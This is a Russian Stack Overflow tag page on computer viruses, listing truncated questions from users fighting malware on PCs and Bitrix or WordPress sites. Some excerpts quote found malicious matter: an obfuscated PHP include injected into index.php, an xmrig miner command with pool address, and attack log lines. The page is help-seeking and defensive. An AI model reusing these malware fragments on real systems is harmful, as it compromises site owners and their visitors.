Вопросы с меткой [вирусы]

Метка для всех вопросов связанных с компьютерными вирусами, как вида вредоносного программного обеспечения.

Фильтрация
Сортировка
Метки
0 голосов
0 ответов
23 показа

Вирус на сайте Bitrix плодит или добавляет строки в index.php по всем директориям. Как избавиться? [дубликат]

Пример кода, который добавляет вирус в файл index.php: /*bc657*/ $r8 = "/ho\x6de3/login/public_ht\x6dl/.git/objects/34/.28e85653.css"; $trxc61 = substr($r8, 0); @include_once /* nk */ ($...
Олег's user avatar
2 голоса
2 ответа
244 показа

VirusTotal ругается на программу после компиляции

Недавно начал изучение C++ и решил скомпилировать первую программу, обычный Hello world. Ради интереса закинул этот exe на VirusTotal, он пишет, что обнаружено 8 угроз. Также Windows defender удаляет ...
445r's user avatar
  • 21
0 голосов
2 ответа
88 показов

Где может находиться вирус, если по месту, где он указан его уже нет, но он запускается?

Ко мне несколько дней назад закинули руткит/майнер/брутер на сервер. Я поменял все пароли, запретил доступ как переписыванию файлов конфигурации ssh, удалил исходник вируса и его с сервера. А так же ...
Кама Кепарь Games and Pranks's user avatar
0 голосов
0 ответов
20 показов

Компьютер самопроизвольно перезагружается с обновлением?

Суть вопроса в следующем. Было это поздно ночью, отошёл от компа (минут на 30) возвращаюсь, а он на перезагрузке и обновляется. Хотя я никаких таймером на обновление не ставил. Нормально ли это? Могла ...
Dotexe's user avatar
  • 1
0 голосов
0 ответов
46 показов

Переустановка без использования загрузочной флешки удалит вирусы?

Лень создавать загрузочную флешку. Комп включается, работает, но вирусы есть. Хотел переустановить через media creation tool. Такой способ поможет избавиться от вирусов?
Dotexe's user avatar
  • 1
0 голосов
1 ответ
251 показ

Словил майнер/вирус, переустановил виндовс, захожу в диспетчер и резко падает нагрузка, нормально ли это?

Такой вопрос, вчера поймал то ли вирус, то ли майнер, пытался удалить самостоятельно не помогло, ибо напросто не давал запустить даже доктор веб ( даже в безопасном режиме ) открывал диспетчер, после ...
Dmitry's user avatar
  • 1
1 голос
1 ответ
573 показа

Скрипт python распознается как вирус [дубликат]

Упаковал скрипт python в exe-файл с помощью pyInstaller, но он распознаётся многими антивирусами как вирус. Как исправить ситуацию, что бы антивирусы так не реагировали на мою программу?
Vitaliy S's user avatar
1 голос
0 ответов
279 показов

Возможна ли передача вируса из одной учётной записи другой? [закрыт]

На своём компьютере я собираюсь использовать одну учётную запись только для взаимодействия с торрентом и пиратским ПО(учётка будет эдакой зоной отчуждения),а вторую для лицензированного ПО. Рабочая ли ...
user540763's user avatar
0 голосов
0 ответов
698 показов

Уходят неизвестные запросы из браузера

В последнее время (недавно скачал подозрительную программу) стал замечать, что в браузере периодически на секунду промелькивает плашка в углу об ожидании ответа страницы, зашел в инструменты ...
Ilya Shevelev's user avatar
2 голоса
1 ответ
52 показа

Может ли вирус включить андроид?

Планшет был полностью выключен. Также выключены интернет/мобильная сеть. Ночью услышал звук пришедшего уведомления. Может ли злоумышленник удалённо включить андроид, а после выключить?
Картопель's user avatar
0 голосов
1 ответ
85 показов

Как появляется этот вирус? (Centos 7/Apache/Nginx)

Имею VDS с CentOS 7, Вебсервер Apache MPM-Prefork/Nginx, на нем 5 сайтов, 2 из которых на wordpress (последние версии, постоянно обновляю). Периодически антивирус ImunifyAV находит файлы в папке site....
Макс О's user avatar
0 голосов
0 ответов
165 показов

При любом нажатии на сайте перекидывает на рекламные сайты. Как это убрать?

При заходе на сайт не со всех браузеров, при нажатии на что-либо перекидывает на рекламные сайты по типу (parimatch, favbet и т.д.). Я так понимаю, что какой-то вирусняк... Где можно это найти и ...
Dmytro Podelnik's user avatar
0 голосов
0 ответов
50 показов

2 компьютера подключены к одному роутеру , на одном интернет 4мбит на втором 0.5мбит

Есть 2 компьютера подключены к одному роутеру , на одном интернет 4мбит на втором 0.5мбит Перезагружал роутер , перезагружал пк , проходился антивирусом ,обновил драйвера, искал процессы в диспетчере, ...
Ivan Orlov's user avatar
0 голосов
0 ответов
152 показа

Как записать историю активности процессов Windows

У меня есть подозрения на скрытый майнер в моей системе (увидел чрез MSI Afterburner, что при бездействии загрузка гп = 100%, а все остальные графики скачут в определённом диапазоне ) Но при открытии ...
Matthew's user avatar
  • 101
0 голосов
2 ответа
2k показов

Перезаписываюся файлы index.php, .htaccess

На сервере стоит ispmanager в котором созданы пользователи. У одно из пользователей выявлена эта проблема. Сейчас пользователь отключен, удалены сайты, осталась пустая папка сайта где по прежнему ...
current's user avatar
1 голос
0 ответов
228 показов

Антивирус жалуется на любой файл скачаный через программу

Есть программа: import smtplib import requests def download(url): get_response = requests.get(url) file_name = url.split("/")[-1] with open(file_name, "wb"...
zankorobos's user avatar
0 голосов
0 ответов
137 показов

На сайте появляется папка wp-admin, хотя сайт не на WordPress

С какого-то момента на сайте начали появляться папка wp-admin, в которой один файл aXZhbm92by16b3YucnU6NDQz.txt. Подозреваю, что это вирус. Что это может быть за вирус? Как лечить? Сайт тестовый еще ...
Сергей Яковлев's user avatar
0 голосов
1 ответ
452 показа

Процесс Python грузит ядро процессора на 100% [закрыт]

MacOS Catalina. Скачал пиратку одного приложения и появилась проблема. После запуска VS Code запускается процесс Python, грузящий процессор. Скорее всего, майнер. Пытался избавиться вручную, копаясь в ...
IT Cat's user avatar
  • 316
1 голос
0 ответов
21 показ

Что такое USBC(tw] и другое)?

Решил просмотреть содержмое флешки, используя $ cat /dev/sdc | hexdump -C и в выводе было следующее: 003ff200 55 53 42 43 77 04 00 00 00 40 00 00 80 00 0a 28 |USBCw....@.....(| также пролистав ...
Poop Encoder's user avatar
0 голосов
1 ответ
150 показов

Вирус?Wordpress. Непонятный PHP код

В папке контент появился файл WFCE и дальше много цифер и букв разных. Помогите. Что делать? backup-data.php # No direct access $secureSrcClassName = 'WCFE\Modules\Editor\Model\EmergencyRestore'; ( ...
Новичок's user avatar
0 голосов
0 ответов
70 показов

Вирус в Symfony?

В одном из проектов symfony обнаружилась забавная особенность: по какой-то причине логины учеток стали заменяться на неприличные жесты. По логам удалось найти только подобное: INSERT INTO users (id, ...
WGPavell's user avatar
  • 133
1 голос
2 ответа
221 показ

Что можно сделать чтобы все антивирусы видели в моем файле вирус? [закрыт]

Я сделал вирус на python который исключительно для тестирования на проникновение но я не хочу чтобы мой вирус использовали во зло, что можно сделать чтоб мой вирус обнаруживали все антивирусы?
user avatar
-1 голос
3 ответа
169 показов

Как 100% удалить вирус?

Сегодня у меня произошла такая ситуация: я сидел общялся с людьми в discord и тут мой курсор начинает трясти этот курсор не перемещался а телепортировался в нужные точки он так закрыл мне все окна и ...
user avatar
2 голоса
1 ответ
90 показов

Почему эта строчка является вирусом для Касперского?

Код из листинга (Delphi): SendMessage(WindowFromPoint(Mouse.CursorPos),EM_SETPASSWORDCHAR,0,0); Касперский сразу визжит и пишет: Что в этом коде не так? Почему он считается вирусом?
I_CaR's user avatar
  • 2,700
2 голоса
2 ответа
66 показов

Вирусы на компьютере и их опасность [закрыт]

Проверила комп антивирем нпшет такие вирусы: 1.Trojan.Genetic.Win32 2.Trojan.Genetic 3.Win32/trojan.e6d 5.Win64/Trojan.4b0 Genetic/Trojan.PWS.804 6.Что то вроде adware 7.Malware.gen И ещё там ...
Даша's user avatar
1 голос
1 ответ
82 показа

Подскажите эти файлы относятся к системе или вирус?

Онаружил в корне своего сайта странные файлы: init c таким содержанием https://pastein.ru/t/-e и perl_modules.conf со строкой SetEnv PERL5LIB '/nix/store/jcn8d3r3rc0zhi3r7p3z68xqc82cjh4p-perl-5.20....
ssdd's user avatar
  • 37
0 голосов
1 ответ
1k показов

dinoraptzor.org cmd

Кому-нибудь знаком вирус dinoraptzor.org? Лично мне не первый раз. В первый раз я сумел открыть автозапуск и удалить этот вирус из cmd пару месяцев назад. Этот вирус снова вернулся и открывает браузер ...
user avatar
0 голосов
1 ответ
56 показов

Вирус в роутере через qr код

Суть дела такая просканировал qr код на роутере кинетик. Выкинуло на вредоностный сайт. Внимание не обратил . Зашел в настройки по ип 192.168... подключил роутер к инету , после чего как я понимаю ...
Иван Ляшов's user avatar
0 голосов
1 ответ
269 показов

Вирус. Полагаю что есть вирус на битрикс. Нужен безопасник

После проверки модулем с маркета "Поиск троянов", ругается на файл, его содержимое показывает: <? # CODE 400 if (preg_match('#\$(USER|GLOBALS..USER..)->Authorize'.self::$spaces....
Валерий's user avatar
0 голосов
2 ответа
96 показов

Возможно ли заразиться вирусом на сайте

Теоретически, можно ли при посещении веб-страниц не скачивая никаких файлов поймать вирус, который может навредить ОС? Например, Windows.
Dwarf's user avatar
  • 92
1 голос
1 ответ
320 показов

Вирусная флешка. Как запустить файл с флешки при ее подключении?

Здравствуйте мне стало интересно принцип написание вирусов (в образовательное целях) И мне интересно можно ли вставив флешку в ПК и файл Который находится в этой флешке запустился?
user avatar
1 голос
1 ответ
185 показов

Несанкционированние создание администратора на сайте Wordpress

На сайте Wordpress злоумышленник создал учетную запись администратора. Регистрация на сайте была отключена, а по Activity Log все выглядело так, будто учетная запись была добавлена из админки, но НЕ ...
StackGuest's user avatar
4 голоса
2 ответа
590 показов

вирусы в библиотеках pyhton3?

В общем я написал программу на python+qt, и чтобы выложить на один сайт проверил через ВирусТотал. Использовал библиотеки pyqt, vk_api, requests. Собирал с помощью pyinstaller. Для программы нужна ...
CyberRik's user avatar
  • 127
0 голосов
0 ответов
392 показа

Восстановление после вируса Amnesia Ransomware базы 1с повреждена 1 часть файла вирусом шифровальщиком

поймал шифровальщик, все бекапы и базы зашифрованы 1c бекапы делались в формате dt. Проанализировав зашифрованные файлы выяснилось что вирус шифрует только первый мегабайт или небольшую часть файла и ...
Тема's user avatar
1 голос
0 ответов
64 показа

Какие у ocstore 2.3 уязвимости, что начали появляться эксплойты?

Вот такие файлы со случайными названиями http://prntscr.com/na0zy9 и таким содержанием http://prntscr.com/na11ao стали появляться на почти нулевом сайте. (есть только шаблон unishop+Модуль "...
Владимир Афанасьев's user avatar
0 голосов
0 ответов
110 показов

Непонятная реклама на сайте через iphone

При просмотре сайта teoremaschool.ru на iphone появляется какая-то непонятная реклама. Причем, как на safari, так и на хроме. Это вирус на самом сайте или на телефоне? При заходе на сайт через ...
Nikita Migushev's user avatar
1 голос
1 ответ
272 показа

Как можно проверить ссылку на вирусы?

Есть такая потребность как проверить ссылку, которую введет пользователь, на наличие вредоносных показателей, то есть имеется ли на сайте что-то, что способно нанести вред. Вот как такую вещь ...
Максим Н Епихин's user avatar
-1 голос
1 ответ
147 показов

Как вирусы-вымогатели шифруют файлы?

Недавно возник вопрос каким образом трояны на подобие Petya получают доступ к файлам и шифруют их? Меня интересует именно способ нахождения и изменения содержимого файлов в файловой системе, а не ...
0x666c's user avatar
  • 790
0 голосов
0 ответов
76 показов

Удаление вредоносного кода

На сайте время от времени срабатывает редирект, посмотрел по файлах код найти не смог, проверил онлайн антивирусом, он этот редирект нашел но где код расположен тоже не показал.... собственно вопрос, ...
arashvg's user avatar
  • 523
0 голосов
1 ответ
72 показа

Гугл говорит о наличии вирусов

Проверил сайт на наличие вирусов через сервис Ai-Bolit он сказал чтовсе чисто, хотсер так-же не видит ничего вредного, а вот гугл упорно говорит что на сайте беда))) Последняя проверка сайта 05.09....
Yuri Vysochinsky's user avatar
1 голос
1 ответ
4k показов

как удалить вирус майнер xmrig?

как удалить вирус майнер xmrig? обнаружил такой процесс который сильно грузить процессор. ./xmrig --algo=cryptonight --url=xmr-eu2.nanopool.org:14444 --user=42y1QFBDSVmXZbvZ+ sudo ls -l /proc/31383/...
Виктор Лернер's user avatar
0 голосов
1 ответ
288 показов

Почему Google Adwords ругается на вредоносные ссылки или ПО?

Google Adwords ругается на вредоносные ссылки или ПО. В тех.поддержке написали какие именно ссылки (gistsev-001-sitem-itempurl.com). В инспекторе кода эти ссылки видны, на слайдере. Но когда захожу в ...
Vadim K.'s user avatar
0 голосов
1 ответ
57 показов

Как отследить вызов функций в WP

Помогите пож с такой задачей. Есть сайт, на нем возможно есть вирус, который заливает файлы. По логам проходят такие вот строчки типа: 85.203.47.46 - - [04/Jun/2018:11:44:35 +0300] "GET /index.php/en/...
Evgeniy Bojenov's user avatar
0 голосов
0 ответов
56 показов

Вирусы на сервере, как найти дыру?

В логах сайтов вижу записи создания вредоносных файлов на сервере. Я не могу понять, как со стороны создают файлы с вирусами на сервере? Пример: 176.32.230.52 - - [17/May/2018:09:36:57 +0300] "POST /...
Максим Сальников's user avatar
0 голосов
1 ответ
136 показов

Дешифратор php файлов

Всем привет. Вирус вымогатель зашифровал много файлов. В частности интересует реально ли расшифровать php файл? В кодировке Hexadecimal файл имеет следующий вид: (в UTF-8 текст другой, но копируется ...
Homie's user avatar
  • 167
7 голосов
1 ответ
3k показов

Вирусы в WordPress

Ограничиваю доступ ко всем файлам и папкам 550, а вирусы все равно появляются. Как это остановить? Это такие вирусы: <?php if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718')) { ...
Маргарита Корнилова's user avatar
1 голос
0 ответов
58 показов

Как предотвратить запуск майнеров из Tomcat?

Стоят Томкаты 7.0.47 (обновить - не вариант) на Windows 2012/16 Вроде как с дефолтной настройкой. Периодически какой-нибудь из них начинает запускать cmd, который создает powershell, который качает ...
Zerginwan's user avatar
  • 119
1 голос
1 ответ
663 показа

удалить вирус coinhive с wordpress

не могу найти и удалить майнер который лежит в body . как он попал на сайт не понятно . Помогите обезвредить гада , уже все облазил , в логах ничего такого нет ... <body class="archive tax-...
Ilya Sidorychev's user avatar
8 голосов
1 ответ
421 показ

Ввожу mysite.ru - перебрасывает на вирусный сайт

Написала на php записную книгу, все работает на денвере. Все вроде нормально работало, записи добавлялись и удалялись без проблем. Но теперь когда я нажимаю на ссылку удалить запись, меня ...
Даша Новикова's user avatar
0 голосов
1 ответ
93 показа

Ссылки на сторонние сайты

Всем привет. Есть сайт, который сделал недавно. Адрес - resnitsy.kands.spb.ru Проблема в том, что в <head> сайта добавляются непонятные ссылки (pliaff-up): Кто знает, почему это может ...
Alexxosipov's user avatar
  • 2,769